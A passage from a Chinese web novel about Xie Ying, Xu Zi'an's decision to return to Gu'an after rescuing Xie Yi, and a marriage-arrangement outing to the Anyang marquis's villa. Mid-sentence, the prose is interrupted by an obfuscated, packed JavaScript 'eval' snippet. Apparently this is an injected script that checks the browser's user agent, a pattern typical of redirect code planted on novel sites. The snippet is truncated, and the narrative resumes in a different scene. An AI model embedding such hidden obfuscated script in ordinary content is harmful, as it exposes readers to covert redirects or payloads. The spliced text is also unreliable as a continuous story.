谢盈不太在意,踩了上去,“无碍,没扫也无妨,你听踩着咯吱咯吱响。” 谢盈心里轻快,这事儿终于过去,换谁谁都轻快。因为谢宜影响,暂且也不用去议亲,还省了不少事儿呢,谢盈乐的轻松自在。 谢盈去了二楼书房,居高临下,湖面落下点点雪花,美不胜收。湖面雪景与残荷相映,又有金光普照。谢盈调好颜料,铺上画纸坐了一上午。 而另一边,徐子安开始收拾行李,他打算回固安。 已经过了些日子,经过他解释,再有谢家出力,无人再说他救了谢宜。传来传去,那日的事就成了见人落水,他喊了人,谢府的丫鬟把她救下。 徐子安松了口气,却引以为戒,打算暂且不再参加这些宴会,回家好好读书,争取明年考取功名。 至于谢盈,本就是他痴心妄想,更不该说出来让人徒增烦恼。 只是可惜,若是没有救谢宜这桩事儿,他日高中或许还有一丝机会,可他救了谢宜,却不愿意娶,再向谢盈提亲,传出去恐怕有人说他没有担当,他被流言蜚语烦扰事小,却不能连累谢盈名声受损。 思来想去,徐子安还是觉得回固安好一点。 至于谢宜那边,他没听到什么消息,他救了她一命,却没办法对她后半生负责,也是惭愧。可就算再来一次,他还是这样选择。人会救,可让他娶谢宜,他不愿。 十月底,尚书府的马车,送谢宜离开。谢盈没去送,就算送了,她也只是远远看着,不知该说些什么。 林氏还念叨,“也是可惜,都落过一次水了,还不知道小心这些,这又怨得了谁。不过话又说回来,这能捡回一条命就不错了。” 等过两年风头过了,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她还挺喜欢这身新衣的,安阳侯府的公子她没见过,更不知模样如何,等过几日下了雪就能知道了。 谢盈深吸一口气,她看了眼窗外,外面天晴,地上有些积雪,从照影楼往下看,湖面已经结冰了。 天寒地冻,不过还是得出门议亲。 连着几日都没下雪,谢盈就在照影楼待着,这个天气沈氏不再抱怨她不出门,因为她也怕女儿冻坏了。 十一月初八,京城又下了一场大雪,沈氏遣人去问,得知今儿去安阳侯府的别苑赏雪,又让丫鬟去照影楼说一声。 等谢盈来了,沈氏左看看又看看,最后满意地点点头,“不错。” 马车启程去了安阳侯府别苑。 下了车,安阳侯夫人已经在门口等着了,纪彦摸摸鼻子,有些无奈又被推来参加这样的宴会,他悄悄对身旁陆铮道:“陆兄,一会儿你就见识到了,这议亲麻烦得很。”